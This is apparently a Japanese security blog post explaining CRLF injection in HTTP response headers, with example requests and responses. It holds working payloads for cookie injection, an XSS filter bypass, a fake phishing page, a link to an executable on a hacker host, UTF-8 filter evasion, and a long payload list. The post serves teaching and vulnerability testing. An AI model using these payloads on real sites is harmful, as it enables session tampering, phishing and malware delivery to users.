Shikata Ga Nai

Private? There is no such things.

CRLFインジェクションについて書いてみた

Hello there, ('ω')ノ

 

CRLFインジェクションについて、脆弱性診断ガイドラインを拝見すると。

診断を実施すべき箇所は、レスポンスヘッダに値を出力しているところで。

操作を行う対象は、レスポンスヘッダに値を出力しているパラメータで。

診断方法として、パラメータの値に検出パターンを挿入して。

リクエストを送信するとのことで。

わからない人が、わからないのは当然のことで。

 

まずは、HTTPレスポンスは、1行目にステータスラインというものがあって。

次の赤い文字がレスポンスヘッダというもので。

空行(CR+LF)をはさんで、レスポンスボディで。

 

HTTP/1.1 200 OK
Date: Mon, 22 Jul 2020 12:58:58 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Wed, 21 Jul 2020 19:15:56 GMT
Content-Length: 89
Content-Type: text/html
Connection: Closed
<html>
<body>
<h1>Hello, World!!!!!</h1>
</body>
</html>

 

たとえば、一般的な例だと。

 

リクエスト:

http://site/cookies.aspx?cookie=123

 

レスポンス:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Thu, 5 Mar 2020 14:11:50 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: mycookie=123
Cache-Control: private
Content-Type: text/html; charset=utf-8

 

脆弱性のある場合だと、改行コードをパラメータに追記すると。

 

リクエスト:

http://site/cookies.aspx?cookie=123%0D%0ASet-Cookie%3A%20hackercookie=hacked

 

パラメータ:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Thu, 5 Mar 2020 14:11:50 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: mycookie=123
Set-Cookie: hackercookie=hacked
Cache-Control: private
Content-Type: text/html; charset=utf-8

 

なので脆弱性があると、下記のようにバックドアを仕掛けることができて。

 

http://thesite.com/something.aspx?id=9999%0d%0a
Content-Length:+22%0d%0a%0d%0a<html>%0d%0a<a href=www.hacker.com/hacker.exe>
Please update first </a>%0d%0a</html>%0d%0aHTTP/1.1

 

CRLFインジェクションについてのレポートは、下記で検索できて。

 https://hackerone.com/hacktivity?querystring=CRLF%20injection

 

f:id:ThisIsOne:20210113163433p:plain

 

下記のように検索すると実際にはもっとあって。

 site:hackerone.com inurl:/reports/ "CRLF"

 

f:id:ThisIsOne:20210113163257p:plain

 

CRLFインジェクションについては、複雑なパターンも。

さらにはフィルタリングを回避することも。

 

CRLF - Add a cookie

Requested page

http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue

HTTP Response

Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

CRLF - Add a cookie - XSS Bypass

Requested page

http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

HTTP Response

HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0

CRLF - Write HTML

Requested page

http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E

HTTP response

Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>

CRLF - Filter Bypass

Using UTF-8 encoding

%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE

Remainder:

  • %E5%98%8A = %0A = \u560a
  • %E5%98%8D = %0D = \u560d
  • %E5%98%BE = %3E = \u563e (>)
  • %E5%98%BC = %3C = \u563c (<)

 

最後にペイロード一覧を。

 

%0AHeader-Test:BLATRUC
%0A%20Header-Test:BLATRUC
%20%0AHeader-Test:BLATRUC
%23%OAHeader-Test:BLATRUC
%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
%E5%98%8A%E5%98%8D%0AHeader-Test:BLATRUC
%3F%0AHeader-Test:BLATRUC
crlf%0AHeader-Test:BLATRUC
crlf%0A%20Header-Test:BLATRUC
crlf%20%0AHeader-Test:BLATRUC
crlf%23%OAHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8D%0AHeader-Test:BLATRUC
crlf%3F%0AHeader-Test:BLATRUC
%0DHeader-Test:BLATRUC
%0D%20Header-Test:BLATRUC
%20%0DHeader-Test:BLATRUC
%23%0DHeader-Test:BLATRUC
%23%0AHeader-Test:BLATRUC
%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
%E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC
%3F%0DHeader-Test:BLATRUC
crlf%0DHeader-Test:BLATRUC
crlf%0D%20Header-Test:BLATRUC
crlf%20%0DHeader-Test:BLATRUC
crlf%23%0DHeader-Test:BLATRUC
crlf%23%0AHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC
crlf%3F%0DHeader-Test:BLATRUC
%0D%0AHeader-Test:BLATRUC
%0D%0A%20Header-Test:BLATRUC
%20%0D%0AHeader-Test:BLATRUC
%23%0D%0AHeader-Test:BLATRUC
\r\nHeader-Test:BLATRUC
\r\n Header-Test:BLATRUC
\r\n Header-Test:BLATRUC
%5cr%5cnHeader-Test:BLATRUC
%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
%E5%98%8A%E5%98%8D%0D%0AHeader-Test:BLATRUC
%3F%0D%0AHeader-Test:BLATRUC
crlf%0D%0AHeader-Test:BLATRUC
crlf%0D%0A%20Header-Test:BLATRUC
crlf%20%0D%0AHeader-Test:BLATRUC
crlf%23%0D%0AHeader-Test:BLATRUC
crlf\r\nHeader-Test:BLATRUC
crlf%5cr%5cnHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8D%0D%0AHeader-Test:BLATRUC
crlf%3F%0D%0AHeader-Test:BLATRUC
%0D%0A%09Header-Test:BLATRUC
crlf%0D%0A%09Header-Test:BLATRUC
%250AHeader-Test:BLATRUC
%25250AHeader-Test:BLATRUC
%%0A0AHeader-Test:BLATRUC
%25%30AHeader-Test:BLATRUC
%25%30%61Header-Test:BLATRUC
%u000AHeader-Test:BLATRUC
//www.google.com/%2F%2E%2E%0D%0AHeader-Test:BLATRUC
/www.google.com/%2E%2E%2F%0D%0AHeader-Test:BLATRUC
/google.com/%2F..%0D%0AHeader-Test:BLATRUC

 

Best regards, (^^ゞ